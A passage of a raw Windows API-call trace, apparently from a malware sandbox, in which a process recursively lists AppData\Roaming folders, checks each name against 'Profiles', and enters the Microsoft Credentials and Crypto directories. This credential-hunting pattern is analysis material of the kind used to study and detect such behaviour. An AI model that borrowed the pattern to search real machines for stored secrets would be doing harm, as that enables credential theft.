ftCreationTime.dwLowDateTime=0x4aece6b0, ftCreationTime.dwHighDateTime=0x1d8981e, ftLastAccessTime.dwLowDateTime=0x46067ab0, ftLastAccessTime.dwHighDateTime=0x1d8a423, ftLastWriteTime.dwLowDateTime=0x46067ab0, ftLastWriteTime.dwHighDateTime=0x1d8a423, nFileSizeHigh=0x0, nFileSizeLow=0x70dc, dwReserved0=0x0, dwReserved1=0x76f33ca3, cFileName="2GOz_-.pdf", cAlternateFileName="")) returned 1 [0266.162] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f6d8 | out: lpFindFileData=0x24f6d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x23c1bfe0, ftCreationTime.dwHighDateTime=0x1d89916, ftLastAccessTime.dwLowDateTime=0xa428d6c0, ftLastAccessTime.dwHighDateTime=0x1d89aa9, ftLastWriteTime.dwLowDateTime=0xa428d6c0, ftLastWriteTime.dwHighDateTime=0x1d89aa9, nFileSizeHigh=0x0, nFileSizeLow=0xbb28, dwReserved0=0x0, dwReserved1=0x76f33ca3, cFileName="38ife5sgHT.doc", cAlternateFileName="38IFE5~1.DOC")) returned 1 [0266.162] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f6d8 | out: lpFindFileData=0x24f6d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa1772e50, ftCreationTime.dwHighDateTime=0x1d89977, ftLastAccessTime.dwLowDateTime=0xbca31800, ftLastAccessTime.dwHighDateTime=0x1d8a5ad, ftLastWriteTime.dwLowDateTime=0xbca31800, ftLastWriteTime.dwHighDateTime=0x1d8a5ad, nFileSizeHigh=0x0, nFileSizeLow=0x53df, dwReserved0=0x0, dwReserved1=0x76f33ca3, cFileName="6GHIHgRuMo57L19IYwi.gif", cAlternateFileName="6GHIHG~1.GIF")) returned 1 [0266.162] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f6d8 | out: lpFindFileData=0x24f6d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc2b39630, ftCreationTime.dwHighDateTime=0x1d89765, ftLastAccessTime.dwLowDateTime=0xcb491380, ftLastAccessTime.dwHighDateTime=0x1d8a4a6, ftLastWriteTime.dwLowDateTime=0xcb491380, ftLastWriteTime.dwHighDateTime=0x1d8a4a6, nFileSizeHigh=0x0, nFileSizeLow=0x14640, dwReserved0=0x0, dwReserved1=0x76f33ca3, cFileName="6Q1W9eQdcFWm28.bmp", cAlternateFileName="6Q1W9E~1.BMP")) returned 1 [0266.162] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f6d8 | out: lpFindFileData=0x24f6d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x37b8b200, ftCreationTime.dwHighDateTime=0x1d8a411, ftLastAccessTime.dwLowDateTime=0x1f9327e0, ftLastAccessTime.dwHighDateTime=0x1d8a47b, ftLastWriteTime.dwLowDateTime=0x1f9327e0, ftLastWriteTime.dwHighDateTime=0x1d8a47b, nFileSizeHigh=0x0, nFileSizeLow=0x7b74, dwReserved0=0x0, dwReserved1=0x76f33ca3, cFileName="BnEIELlOy.pptx", cAlternateFileName="BNEIEL~1.PPT")) returned 1 [0266.162] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f6d8 | out: lpFindFileData=0x24f6d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa4ed0c10, ftCreationTime.dwHighDateTime=0x1d8a086, ftLastAccessTime.dwLowDateTime=0x1f609560, ftLastAccessTime.dwHighDateTime=0x1d8a2ea, ftLastWriteTime.dwLowDateTime=0x1f609560, ftLastWriteTime.dwHighDateTime=0x1d8a2ea, nFileSizeHigh=0x0, nFileSizeLow=0x7c4d, dwReserved0=0x0, dwReserved1=0x76f33ca3, cFileName="DuGMOmikP gPekMX.m4a", cAlternateFileName="DUGMOM~1.M4A")) returned 1 [0266.162] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f6d8 | out: lpFindFileData=0x24f6d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79778ee0, ftCreationTime.dwHighDateTime=0x1d8a543, ftLastAccessTime.dwLowDateTime=0x43594df0, ftLastAccessTime.dwHighDateTime=0x1d8a645, ftLastWriteTime.dwLowDateTime=0x43594df0, ftLastWriteTime.dwHighDateTime=0x1d8a645, nFileSizeHigh=0x0, nFileSizeLow=0x15aa7, dwReserved0=0x0, dwReserved1=0x76f33ca3, cFileName="FGoqaS5X-biv-TQUcR.mp3", cAlternateFileName="FGOQAS~1.MP3")) returned 1 [0266.163] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f6d8 | out: lpFindFileData=0x24f6d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28969000, ftCreationTime.dwHighDateTime=0x1d8a739, ftLastAccessTime.dwLowDateTime=0x49867110, ftLastAccessTime.dwHighDateTime=0x1d8a741, ftLastWriteTime.dwLowDateTime=0x49867110, ftLastWriteTime.dwHighDateTime=0x1d8a741, nFileSizeHigh=0x0, nFileSizeLow=0x11971, dwReserved0=0x0, dwReserved1=0x76f33ca3, cFileName="fnviSomaa.rtf", cAlternateFileName="FNVISO~1.RTF")) returned 1 [0266.163] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f6d8 | out: lpFindFileData=0x24f6d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x59c3b780, ftCreationTime.dwHighDateTime=0x1d8a44f, ftLastAccessTime.dwLowDateTime=0x8f88f7a0, ftLastAccessTime.dwHighDateTime=0x1d8a5ed, ftLastWriteTime.dwLowDateTime=0x8f88f7a0, ftLastWriteTime.dwHighDateTime=0x1d8a5ed, nFileSizeHigh=0x0, nFileSizeLow=0xd62c, dwReserved0=0x0, dwReserved1=0x76f33ca3, cFileName="G4L9gVhgSbzV.pptx", cAlternateFileName="G4L9GV~1.PPT")) returned 1 [0266.163] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f6d8 | out: lpFindFileData=0x24f6d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7050580, ftCreationTime.dwHighDateTime=0x1d8a3b4, ftLastAccessTime.dwLowDateTime=0x2fa88fe0, ftLastAccessTime.dwHighDateTime=0x1d8a5fb, ftLastWriteTime.dwLowDateTime=0x2fa88fe0, ftLastWriteTime.dwHighDateTime=0x1d8a5fb, nFileSizeHigh=0x0, nFileSizeLow=0x6ade, dwReserved0=0x0, dwReserved1=0x76f33ca3, cFileName="gswrI.mp3", cAlternateFileName="")) returned 1 [0266.163] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f6d8 | out: lpFindFileData=0x24f6d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe0c64650, ftCreationTime.dwHighDateTime=0x1d897cd, ftLastAccessTime.dwLowDateTime=0xa10a12e0, ftLastAccessTime.dwHighDateTime=0x1d898ee, ftLastWriteTime.dwLowDateTime=0xa10a12e0, ftLastWriteTime.dwHighDateTime=0x1d898ee, nFileSizeHigh=0x0, nFileSizeLow=0x5d59, dwReserved0=0x0, dwReserved1=0x76f33ca3, cFileName="hGvBe.xlsx", cAlternateFileName="HGVBE~1.XLS")) returned 1 [0266.163] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f6d8 | out: lpFindFileData=0x24f6d8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7964c250, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7964c250, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x76f33ca3, cFileName="Identities", cAlternateFileName="IDENTI~1")) returned 1 [0266.163] lstrcmpW (lpString1="Identities", lpString2="Profiles") returned -1 [0266.163] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 34 [0266.163] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Identities\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\identities\\*"), lpFindFileData=0x24f260 | out: lpFindFileData=0x24f260*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7964c250, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7964c250, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6ef5a0, dwReserved1=0x20, cFileName=".", cAlternateFileName="")) returned 0x6ca4c0 [0266.164] lstrcmpW (lpString1=".", lpString2="Profiles") returned -1 [0266.164] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f260 | out: lpFindFileData=0x24f260*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7964c250, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7964c250, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6ef5a0, dwReserved1=0x20, cFileName="..", cAlternateFileName="")) returned 1 [0266.164] lstrcmpW (lpString1="..", lpString2="Profiles") returned -1 [0266.164] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f260 | out: lpFindFileData=0x24f260*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7964c250, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7964c250, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6ef5a0, dwReserved1=0x20, cFileName="{31810C36-5D23-4CCE-A3B4-316DED195C38}", cAlternateFileName="{31810~1")) returned 1 [0266.164] lstrcmpW (lpString1="{31810C36-5D23-4CCE-A3B4-316DED195C38}", lpString2="Profiles") returned -1 [0266.164] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Identities") returned 45 [0266.164] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\identities\\{31810c36-5d23-4cce-a3b4-316ded195c38}\\*"), lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7964c250, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7964c250, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x20, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.164] lstrcmpW (lpString1=".", lpString2="Profiles") returned -1 [0266.164] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7964c250, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7964c250, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x20, cFileName="..", cAlternateFileName="")) returned 1 [0266.164] lstrcmpW (lpString1="..", lpString2="Profiles") returned -1 [0266.164] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7964c250, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7964c250, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x20, cFileName="..", cAlternateFileName="")) returned 0 [0266.165] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.165] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f260 | out: lpFindFileData=0x24f260*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7964c250, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7964c250, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6ef5a0, dwReserved1=0x20, cFileName="{31810C36-5D23-4CCE-A3B4-316DED195C38}", cAlternateFileName="{31810~1")) returned 0 [0266.165] FindClose (in: hFindFile=0x6ca4c0 | out: hFindFile=0x6ca4c0) returned 1 [0266.165] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f6d8 | out: lpFindFileData=0x24f6d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x271e6da0, ftCreationTime.dwHighDateTime=0x1d89790, ftLastAccessTime.dwLowDateTime=0x2e86f870, ftLastAccessTime.dwHighDateTime=0x1d8a107, ftLastWriteTime.dwLowDateTime=0x2e86f870, ftLastWriteTime.dwHighDateTime=0x1d8a107, nFileSizeHigh=0x0, nFileSizeLow=0xdaca, dwReserved0=0x0, dwReserved1=0x76f33ca3, cFileName="JP8fBxxxCWve9OaEYTGy.xlsx", cAlternateFileName="JP8FBX~1.XLS")) returned 1 [0266.165] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f6d8 | out: lpFindFileData=0x24f6d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbc0440e0, ftCreationTime.dwHighDateTime=0x1d89ca2, ftLastAccessTime.dwLowDateTime=0x45807930, ftLastAccessTime.dwHighDateTime=0x1d8a4d0, ftLastWriteTime.dwLowDateTime=0x45807930, ftLastWriteTime.dwHighDateTime=0x1d8a4d0, nFileSizeHigh=0x0, nFileSizeLow=0xa94f, dwReserved0=0x0, dwReserved1=0x76f33ca3, cFileName="jSIRdMZfuV.wav", cAlternateFileName="JSIRDM~1.WAV")) returned 1 [0266.165] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f6d8 | out: lpFindFileData=0x24f6d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x94feea70, ftCreationTime.dwHighDateTime=0x1d8a1e0, ftLastAccessTime.dwLowDateTime=0x8823f490, ftLastAccessTime.dwHighDateTime=0x1d8a22f, ftLastWriteTime.dwLowDateTime=0x8823f490, ftLastWriteTime.dwHighDateTime=0x1d8a22f, nFileSizeHigh=0x0, nFileSizeLow=0x5aad, dwReserved0=0x0, dwReserved1=0x76f33ca3, cFileName="L5NKhVLiGH.swf", cAlternateFileName="L5NKHV~1.SWF")) returned 1 [0266.165] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f6d8 | out: lpFindFileData=0x24f6d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x16d05670, ftCreationTime.dwHighDateTime=0x1d8a587, ftLastAccessTime.dwLowDateTime=0xb657af30, ftLastAccessTime.dwHighDateTime=0x1d8a6b9, ftLastWriteTime.dwLowDateTime=0xb657af30, ftLastWriteTime.dwHighDateTime=0x1d8a6b9, nFileSizeHigh=0x0, nFileSizeLow=0xc407, dwReserved0=0x0, dwReserved1=0x76f33ca3, cFileName="l7QixwukYjdvEDupDs.mp3", cAlternateFileName="L7QIXW~1.MP3")) returned 1 [0266.165] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f6d8 | out: lpFindFileData=0x24f6d8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x426ba7c0, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x426ba7c0, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x76f33ca3, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0266.165] lstrcmpW (lpString1="Microsoft", lpString2="Profiles") returned -1 [0266.165] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 34 [0266.165] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\*"), lpFindFileData=0x24f260 | out: lpFindFileData=0x24f260*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x426ba7c0, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x426ba7c0, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6ef5a0, dwReserved1=0x20, cFileName=".", cAlternateFileName="")) returned 0x6ca4c0 [0266.165] lstrcmpW (lpString1=".", lpString2="Profiles") returned -1 [0266.165] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f260 | out: lpFindFileData=0x24f260*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x426ba7c0, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x426ba7c0, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6ef5a0, dwReserved1=0x20, cFileName="..", cAlternateFileName="")) returned 1 [0266.165] lstrcmpW (lpString1="..", lpString2="Profiles") returned -1 [0266.165] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f260 | out: lpFindFileData=0x24f260*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3b3af0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x3b3af0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3b3af0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6ef5a0, dwReserved1=0x20, cFileName="AddIns", cAlternateFileName="")) returned 1 [0266.166] lstrcmpW (lpString1="AddIns", lpString2="Profiles") returned -1 [0266.166] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft") returned 44 [0266.166] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\AddIns\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\addins\\*"), lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3b3af0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x3b3af0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3b3af0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.166] lstrcmpW (lpString1=".", lpString2="Profiles") returned -1 [0266.166] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3b3af0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x3b3af0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3b3af0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName="..", cAlternateFileName="")) returned 1 [0266.166] lstrcmpW (lpString1="..", lpString2="Profiles") returned -1 [0266.166] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3b3af0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x3b3af0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3b3af0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName="..", cAlternateFileName="")) returned 0 [0266.166] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.166] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f260 | out: lpFindFileData=0x24f260*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x285f4ad0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x285f4ad0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x285f4ad0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6ef5a0, dwReserved1=0x20, cFileName="Bibliography", cAlternateFileName="BIBLIO~1")) returned 1 [0266.166] lstrcmpW (lpString1="Bibliography", lpString2="Profiles") returned -1 [0266.166] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft") returned 44 [0266.166] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Bibliography\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\bibliography\\*"), lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x285f4ad0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x285f4ad0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x285f4ad0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.166] lstrcmpW (lpString1=".", lpString2="Profiles") returned -1 [0266.166] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x285f4ad0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x285f4ad0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x285f4ad0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName="..", cAlternateFileName="")) returned 1 [0266.167] lstrcmpW (lpString1="..", lpString2="Profiles") returned -1 [0266.167] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x285f4ad0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2861ac30, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2861ac30, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName="Style", cAlternateFileName="")) returned 1 [0266.167] lstrcmpW (lpString1="Style", lpString2="Profiles") returned 1 [0266.167] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Bibliography") returned 57 [0266.167] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x285f4ad0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2861ac30, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2861ac30, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName="Style", cAlternateFileName="")) returned 0 [0266.167] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.167] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f260 | out: lpFindFileData=0x24f260*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796260f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796260f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6ef5a0, dwReserved1=0x20, cFileName="Credentials", cAlternateFileName="CREDEN~1")) returned 1 [0266.167] lstrcmpW (lpString1="Credentials", lpString2="Profiles") returned -1 [0266.167] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft") returned 44 [0266.167] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Credentials\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\credentials\\*"), lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796260f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796260f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.167] lstrcmpW (lpString1=".", lpString2="Profiles") returned -1 [0266.167] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796260f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796260f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName="..", cAlternateFileName="")) returned 1 [0266.167] lstrcmpW (lpString1="..", lpString2="Profiles") returned -1 [0266.167] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796260f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796260f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName="..", cAlternateFileName="")) returned 0 [0266.168] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.168] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f260 | out: lpFindFileData=0x24f260*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796260f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796260f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x160a67d7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6ef5a0, dwReserved1=0x20, cFileName="Crypto", cAlternateFileName="")) returned 1 [0266.168] lstrcmpW (lpString1="Crypto", lpString2="Profiles") returned -1 [0266.168] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft") returned 44 [0266.168] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Crypto\\*" (normalized: 